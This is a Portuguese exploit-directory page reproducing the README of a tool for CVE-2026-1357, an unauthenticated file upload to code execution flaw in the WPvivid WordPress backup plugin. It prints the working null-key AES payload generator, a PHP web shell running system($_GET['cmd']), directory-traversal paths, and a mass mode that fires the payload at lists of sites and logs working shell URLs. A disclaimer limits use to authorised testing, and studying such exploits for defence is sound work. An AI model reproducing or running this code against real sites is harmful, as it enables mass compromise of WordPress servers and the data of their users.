Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Upload de Arquivo Arbitrário Não Autenticado | Kitploit
Ferramentas/GitHubGitHub/nxploited/cve-2026-1357
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - Upload de Arquivo Arbitrário Não Autenticado

Ver Repositório
1há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🧨 CVE-2026-1357 – Ferramenta de Exploração de Chave Nula WPvivid (CVE-2026-1357.py)

Migração, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código
CVE: CVE-2026-1357 – CVSS 9.8 (Crítico)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 O Que Este Script Faz

Nxploited

CVE-2026-1357.py é uma ferramenta de exploração de prova de conceito para a vulnerabilidade WPvivid. Ela foca no tratamento defeituoso da sessão AES que permite a um invasor:

  1. Criptografar um payload com uma chave/IV AES nula (todos os bytes zero) no mesmo formato que o WPvivid espera.
  2. Inserir conteúdo arbitrário de arquivo (ex.: shell PHP) e um nome/caminho escolhido (name) no payload.
  3. Enviar este payload para o endpoint do WPvivid através do parâmetro wpvivid_action=send_to_site.
  4. (Opcionalmente) verificar se o arquivo foi gravado com sucesso e está acessível.

O script não tenta adivinhar ou abusar de chaves privadas diretamente. Em vez disso, ele simula o fluxo quebrado do WPvivid onde uma falha em openssl_private_decrypt() leva a cifra AES do phpseclib a ser inicializada com uma chave nula.


🧠 Detalhes Técnicos Internos

🔐 Payload de Chave Nula AES

O núcleo da exploração está em gen_wpvivid_payload():

  • Ele constrói uma estrutura JSON:

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • Ele serializa esse JSON (formato compacto, sem espaços).

  • Ele criptografa o JSON usando:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Em seguida, ele prefixa:

    • 3 bytes: "000" (um placeholder de campo de comprimento estático).
    • hexadecimal maiúsculo de 16 bytes: comprimento do cifra codificado como "{len(cipher):016X}".
  • O blob criptografado final é:

    root@kitploit:~
    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • Este blob é codificado em base64 e retornado como o valor final de wpvivid_content.

Função:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Isso corresponde às expectativas de descriptografia do WPvivid no caminho de código vulnerável após a falha na descriptografia RSA.


🧰 Recursos e Modos

O script tem dois modos principais mais uma capacidade de teste em massa:

  1. mood1 – Gerador de Payload

    • Gera um valor wpvivid_content válido usando o truque de chave nula.
    • Suporta múltiplas formas de definir o conteúdo do arquivo.
    • Opcionalmente inicia o Testador em Massa contra uma lista de alvos.
  2. mood2 – Testador de Alvo Único

    • Usa um payload gerado anteriormente.
    • Testa um único alvo de ponta a ponta:
      • Envia o payload.
      • Constrói a URL esperada do arquivo resultante.
      • Verifica se o arquivo está acessível.
  3. Modo Massa (do mood1)

    • Envia um payload escolhido para múltiplos alvos a partir de um arquivo de lista.
    • Usa concorrência e uma barra de progresso.
    • Rastreia e registra uploads bem-sucedidos.

🚦 Executando o Script

root@kitploit:~
python3 CVE-2026-1357.py

Você verá uma interface baseada em Rich com um banner e seleção de modo:

  • mood1 – Gerador de Payload
  • mood2 – Testador de Alvo Único

🧪 Modo: mood1 – Gerador de Payload

Propósito

  • Criar um payload de exploração (wpvivid_content) que codifica:
    • O caminho/nome do arquivo que você quer que o WPvivid grave.
    • O conteúdo do arquivo (shell, arquivo de teste, etc.).

Fluxo

  1. Seleção do modo

    Quando solicitado:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    Pressione Enter (padrão é mood1) ou digite mood1.

  2. Nome do arquivo alvo / caminho

    Você é questionado sobre:

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Exemplos:

    • Para colocar um arquivo no diretório de backup do WPvivid:

      root@kitploit:~
      Nx_.php
      
    • Para abusar de travessia de diretório (se permitido pelo alvo):

      root@kitploit:~
      ../../public_html/Nx_.php
      

    O valor vai para o campo name do payload JSON.

  3. Modo de entrada de conteúdo

    O script exibe três formas de definir o conteúdo do arquivo:

    • Modo 1: conteúdo de linha única.
    • Modo 2: conteúdo de múltiplas linhas (termina com EOF).
    • Modo 3: ler de um arquivo local (ex.: ).

Opcional: Modo Massa a partir de mood1

Após gerar o payload, o script pergunta:

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

Se você responder y, ele inicia o modo massa com o payload e o nome de arquivo que você acabou de criar.


🌐 Modo Massa – Vários Alvos

Propósito

  • Pegar um único payload de exploração e testá-lo contra uma lista de alvos.

Fluxo

  1. Arquivo de alvos

    Exemplo de prompt:

    root@kitploit:~
    Targets list file (one URL per line):
    

    Formato esperado do arquivo (ex.: targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    O script normalizará automaticamente as URLs base (adicionando esquema quando ausente).

  2. Número de threads

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    Controla quantos sites são processados em paralelo.

  3. Lógica por alvo

    Para cada alvo:

    • Normaliza URL → base_url.

    • Chama:

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      que:

      • Constrói um POST com wpvivid_action=send_to_site + wpvivid_content=<payload>.
      • Envia através de uma nova sessão com configurações de pool de conexão ajustadas.
      • Verifica se a resposta contém {"result":"success"} (verificação de formato compacto).

🧪 Modo: mood2 – Testador de Alvo Único

Propósito

  • Usar um payload existente (de wpvivid_payload.txt ou fonte externa) contra uma única URL, e verificar o arquivo resultante.

Fluxo

  1. URL do alvo

    Prompt:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    Exemplo:

    root@kitploit:~
    https://victim.com
    

    O script normaliza isso para uma base como:

    root@kitploit:~
    https://victim.com
    
  2. Nome do arquivo

    Prompt:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    Este é o nome/caminho que você espera que o WPvivid grave (correspondendo ao que você codificou no campo name do payload).

  3. Entrada do payload

    Prompt:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • Se você colar uma linha completa começando com wpvivid_content=..., ele remove o prefixo.
    • Se você colar apenas o base64, ele aceita como está.
  4. Execução

    O script:

    • Envia o POST com wpvivid_action=send_to_site + seu wpvivid_content.

Este modo é ideal para testes manuais / laboratoriais de um único site com controle fino sobre o payload.


📁 Arquivos de Saída

  • wpvivid_payload.txt

    • Gravado no mood1.
    • Armazena:
      • file_name=<nome_do_arquivo_escolhido>
      • wpvivid_content=<payload>
  • Nx_.txt

    • Gravado pelo mood1 (modo massa) e mood2.
    • Contém uma URL de arquivo bem-sucedida por linha onde o upload parece ter sido bem-sucedido (e opcionalmente verificado).

⚠️ Aviso Legal

Esta ferramenta é destinada exclusivamente para:

  • Pesquisa de segurança em ambientes controlados.
  • Testar sistemas que você possui ou para os quais tem permissão explícita e por escrito.
  • Validar medidas de remediação e detecção para CVE-2026-1357.

Ao usar este script, você concorda que:

  • Você é responsável por cumprir todas as leis aplicáveis.
  • Você não o utilizará em sistemas sem a devida autorização.
  • O autor (Nxploited) não assume nenhuma responsabilidade por qualquer uso indevido, dano, problema legal ou incidente decorrente do uso desta ferramenta.

Use por sua conta e risco e apenas para testes de segurança legítimos.


✍️ Autor e Contato

  • Por: Nxploited (Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

Para atualizações, ferramentas e conteúdo de pesquisa em segurança, siga o canal do Telegram:
👉 @KNxploited

Baixar ferramenta
shell.php

Você é solicitado:

root@kitploit:~
Mode [1/2/3] [1]:
  • Modo 1 – Linha única

    root@kitploit:~
    Single line content:
    

    Exemplo de entrada:

    root@kitploit:~
    <?php phpinfo();
    
  • Modo 2 – Múltiplas linhas

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    Você pode colar ou digitar um script PHP de múltiplas linhas e depois terminar com EOF em sua própria linha:

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • Modo 3 – Arquivo local

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    O script lê o arquivo inteiro em file_bytes.

  • Geração do payload

    Uma vez que o conteúdo é capturado, o script:

    • Constrói o objeto JSON.
    • Criptografa com AES-CBC de chave nula.
    • Embrulha o blob binário.
    • Codifica em base64.

    Você vê uma saída como:

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    E um arquivo wpvivid_payload.txt é gravado:

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • Se o upload for considerado bem-sucedido:

    • Constrói shell_url como:

      root@kitploit:~
      f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
      
    • Salva em Nx_.txt.

    • Tenta verify_written_file():

      • Faz requisição GET para shell_url.
      • Se status_code == 200, marca como verificado.
  • Se ocorrer algum erro:

    • O script classifica a razão via short_reason():
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR.
  • Interface

    • Barra de progresso Rich mostra progresso global e tempo decorrido.
    • Cada site imprime:
      • [OK] <shell_url> em caso de sucesso.
      • [FAIL] <base> (reason: ...) em caso de erro.
      • [!] Not verified (...) quando o upload pode ter sido bem-sucedido, mas a verificação falhou.
  • Se a resposta sugerir sucesso, ele constrói:

    root@kitploit:~
    <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
    

    e imprime [OK] com essa URL.

  • Adiciona URLs bem-sucedidas ao Nx_.txt.

  • Tenta a verificação via verify_written_file() e imprime o resultado.